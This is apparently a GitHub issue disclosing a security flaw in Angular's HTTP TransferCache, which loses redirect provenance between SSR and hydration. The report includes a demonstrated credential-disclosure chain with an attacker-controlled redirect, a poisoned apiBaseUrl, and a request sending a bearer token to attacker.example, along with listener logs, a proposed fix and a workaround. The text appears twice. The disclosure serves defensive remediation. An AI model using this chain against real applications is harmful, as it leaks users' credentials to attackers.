Which @angular/* package(s) are the source of the bug?
common
Is this a regression?
Yes
Description
Google OSS VRP triaged this security report and referred me to the Angular maintainers to coordinate the fix publicly through the angular/angular repository.
Google OSS VRP report: 559659097
Angular's HTTP TransferCache does not currently preserve the redirect provenance of an HttpResponse when the response is serialized during SSR and later restored in the browser.
In particular, the transferred representation retains the request URL used for the cache lookup, but does not retain:
- the final
HttpResponse.url;
HttpResponse.redirected.
This means that the same HTTP response can expose different security-relevant provenance before and after the SSR → browser transfer boundary.
Example
A real Fetch response observed during SSR can be:
redirected = true
url = https://attacker.example/runtime-config.json
body = attacker-controlled response
An application response interceptor can correctly reject this because the final response origin is not trusted.
After TransferCache restoration, the same response is currently reconstructed approximately as:
redirected = undefined
url = https://app.example/api/runtime-config
body = same attacker-controlled response
The same redirect-aware interceptor can therefore make a different decision for the cached response.
The framework-level transition is:
SSR:
redirected = true
final URL = attacker origin
application policy = REJECT
Browser TransferCache replay:
redirected = undefined
URL = original trusted request URL
same application policy = ACCEPT
Root cause
FetchBackend preserves Fetch redirect provenance in HttpResponse.
For a followed redirect it exposes the final response URL and redirected === true.
HttpTransferCache, however, currently serializes a reduced response containing the body, headers, status, status text, request URL and response type.
The final response URL and redirected flag are not serialized.
During restoration, the request URL is used as the reconstructed HttpResponse.url.
As a result, information that was available to application interceptors during SSR is no longer available when the response is replayed during hydration.
Demonstrated security impact
I reproduced a credential-disclosure escalation using a runtime-configuration pattern.
The application retrieves configuration from a trusted endpoint:
https://app.example/api/runtime-config
The response controls an API origin:
{
"apiBaseUrl": "https://api.example"
}
The application also uses a normal authentication interceptor that attaches an existing bearer token to requests for its configured API origin.
An attacker can influence a redirect destination returned by the trusted runtime-configuration endpoint:
trusted runtime-config request
↓
HTTP 302
↓
attacker-controlled runtime-config response
The attacker-controlled response contains:
{
"apiBaseUrl": "https://attacker.example/api"
}
During SSR, Fetch follows the redirect and Angular exposes:
redirected = true
url = attacker final URL
The application's response-security interceptor correctly rejects the response.
If the application handles that SSR rejection and continues rendering, the response has already been observed by TransferCache and its body can remain in TransferState.
During browser hydration the cached response is currently restored as:
redirected = undefined
url = original trusted runtime-config URL
The same security interceptor therefore no longer observes the redirect provenance that caused the SSR response to be rejected.
The attacker-controlled apiBaseUrl becomes accepted application configuration.
A normal authentication interceptor subsequently sends:
GET https://attacker.example/api/me
Authorization: Bearer VICTIM_EXISTING_BEARER_TOKEN
The bearer token used in the reproduction is synthetic.
The real attacker-controlled HTTP listener observed:
ATTACKER_OPTIONS path=/api/me?case=full-e2e requested_headers=authorization
ATTACKER_GET path=/api/me?case=full-e2e authorization=Bearer VICTIM_EXISTING_BEARER_TOKEN
This was reproduced independently in Chromium and Firefox using real browser networking and a real CORS preflight.
Angular is not being claimed to create the open redirect.
Attacker influence over the redirect destination is a prerequisite for this demonstrated escalation.
Negative control
The same scenario was repeated with only the security-sensitive configuration request changed to:
http.get(runtimeConfigUrl, {
transferCache: false,
});
No security interceptor or authentication logic was changed.
With TransferCache disabled, the browser performs the real request and Fetch again exposes:
redirected = true
url = attacker final URL
The same response-security interceptor rejects it.
Observed result:
accepted_api=unset
attacker_received=unset
This isolates TransferCache restoration as the condition that changes the application's security decision.
Exploitation prerequisites
The demonstrated bearer-token escalation requires:
- The application uses Angular SSR and HTTP TransferCache/client hydration.
- A trusted SSR-requested endpoint can be caused to redirect to an attacker-controlled destination.
- The redirected response remains eligible for TransferCache.
- The application has a redirect/final-origin response-security policy.
- The application handles the rejected SSR request and continues rendering.
- The transferred response controls a security-sensitive client value such as an API origin.
- The victim already has an application bearer credential.
- Normal authentication logic attaches that credential to requests for the configured API origin.
- The attacker endpoint permits the necessary cross-origin browser request.
The framework issue itself is the loss of response provenance during TransferCache serialization/restoration. The credential-disclosure chain is one demonstrated consequence when these application prerequisites are present.
Minimal regression
The underlying framework behavior can be reproduced without external networking.
Server side:
request URL = https://app.example/api/runtime-config
HttpResponse:
url = https://attacker.example/runtime-config.json
redirected = true
Allow TransferCache to serialize the response and then restore the same request in browser mode.
Expected
url = https://attacker.example/runtime-config.json
redirected = true
Actual on current main
url = https://app.example/api/runtime-config
redirected = undefined
Current-main verification
Tested after rebasing onto:
846c73d52b fix(core): add debugName on afterRenderEffect
Without the implementation fix:
411 specs, 1 failure
Expected 'https://app.example/api/runtime-config'
to be 'https://attacker.example/runtime-config.json'.
Expected undefined to be true.
With the proposed fix:
Test target:
//packages/common/http/test:test
Formatting and git diff --check also pass.
Proposed remediation
Preserve response provenance independently from the URL used for TransferCache lookup.
The proposed patch stores:
- the request URL used for the cache lookup;
- the final
HttpResponse.url when it differs from the request URL;
HttpResponse.redirected.
The final URL and redirect flag are restored into the replayed client HttpResponse.
The existing HTTP_TRANSFER_CACHE_ORIGIN_MAP mapping is also applied to the final response URL where applicable.
A broader defense-in-depth change could also consider when TransferCache commits a response relative to outer application interceptors. The proposed patch intentionally does not change interceptor ordering and instead addresses the demonstrated provenance-loss behavior.
Workaround
Applications can disable TransferCache for security-sensitive bootstrap/configuration requests:
http.get(runtimeConfigUrl, {
transferCache: false,
});
In the demonstrated scenario, this prevents the provenance-changing replay and prevents the subsequent credential-disclosure chain.
Security-report context
This issue was originally reported through Google OSS VRP.
Google triaged the report and asked me to coordinate the fix directly with the Angular maintainers through a public issue / pull request and to mention the VRP referral.
Which @angular/* package(s) are the source of the bug?
common
Is this a regression?
Yes
Description
Google OSS VRP triaged this security report and referred me to the Angular maintainers to coordinate the fix publicly through the
angular/angularrepository.Google OSS VRP report:
559659097Angular's HTTP TransferCache does not currently preserve the redirect provenance of an
HttpResponsewhen the response is serialized during SSR and later restored in the browser.In particular, the transferred representation retains the request URL used for the cache lookup, but does not retain:
HttpResponse.url;HttpResponse.redirected.This means that the same HTTP response can expose different security-relevant provenance before and after the SSR → browser transfer boundary.
Example
A real Fetch response observed during SSR can be:
An application response interceptor can correctly reject this because the final response origin is not trusted.
After TransferCache restoration, the same response is currently reconstructed approximately as:
The same redirect-aware interceptor can therefore make a different decision for the cached response.
The framework-level transition is:
Root cause
FetchBackendpreserves Fetch redirect provenance inHttpResponse.For a followed redirect it exposes the final response URL and
redirected === true.HttpTransferCache, however, currently serializes a reduced response containing the body, headers, status, status text, request URL and response type.The final response URL and
redirectedflag are not serialized.During restoration, the request URL is used as the reconstructed
HttpResponse.url.As a result, information that was available to application interceptors during SSR is no longer available when the response is replayed during hydration.
Demonstrated security impact
I reproduced a credential-disclosure escalation using a runtime-configuration pattern.
The application retrieves configuration from a trusted endpoint:
The response controls an API origin:
{ "apiBaseUrl": "https://api.example" }The application also uses a normal authentication interceptor that attaches an existing bearer token to requests for its configured API origin.
An attacker can influence a redirect destination returned by the trusted runtime-configuration endpoint:
The attacker-controlled response contains:
{ "apiBaseUrl": "https://attacker.example/api" }During SSR, Fetch follows the redirect and Angular exposes:
The application's response-security interceptor correctly rejects the response.
If the application handles that SSR rejection and continues rendering, the response has already been observed by TransferCache and its body can remain in
TransferState.During browser hydration the cached response is currently restored as:
The same security interceptor therefore no longer observes the redirect provenance that caused the SSR response to be rejected.
The attacker-controlled
apiBaseUrlbecomes accepted application configuration.A normal authentication interceptor subsequently sends:
The bearer token used in the reproduction is synthetic.
The real attacker-controlled HTTP listener observed:
This was reproduced independently in Chromium and Firefox using real browser networking and a real CORS preflight.
Angular is not being claimed to create the open redirect.
Attacker influence over the redirect destination is a prerequisite for this demonstrated escalation.
Negative control
The same scenario was repeated with only the security-sensitive configuration request changed to:
No security interceptor or authentication logic was changed.
With TransferCache disabled, the browser performs the real request and Fetch again exposes:
The same response-security interceptor rejects it.
Observed result:
This isolates TransferCache restoration as the condition that changes the application's security decision.
Exploitation prerequisites
The demonstrated bearer-token escalation requires:
The framework issue itself is the loss of response provenance during TransferCache serialization/restoration. The credential-disclosure chain is one demonstrated consequence when these application prerequisites are present.
Minimal regression
The underlying framework behavior can be reproduced without external networking.
Server side:
Allow TransferCache to serialize the response and then restore the same request in browser mode.
Expected
Actual on current main
Current-main verification
Tested after rebasing onto:
Without the implementation fix:
With the proposed fix:
Test target:
Formatting and
git diff --checkalso pass.Proposed remediation
Preserve response provenance independently from the URL used for TransferCache lookup.
The proposed patch stores:
HttpResponse.urlwhen it differs from the request URL;HttpResponse.redirected.The final URL and redirect flag are restored into the replayed client
HttpResponse.The existing
HTTP_TRANSFER_CACHE_ORIGIN_MAPmapping is also applied to the final response URL where applicable.A broader defense-in-depth change could also consider when TransferCache commits a response relative to outer application interceptors. The proposed patch intentionally does not change interceptor ordering and instead addresses the demonstrated provenance-loss behavior.
Workaround
Applications can disable TransferCache for security-sensitive bootstrap/configuration requests:
In the demonstrated scenario, this prevents the provenance-changing replay and prevents the subsequent credential-disclosure chain.
Security-report context
This issue was originally reported through Google OSS VRP.
Google triaged the report and asked me to coordinate the fix directly with the Angular maintainers through a public issue / pull request and to mention the VRP referral.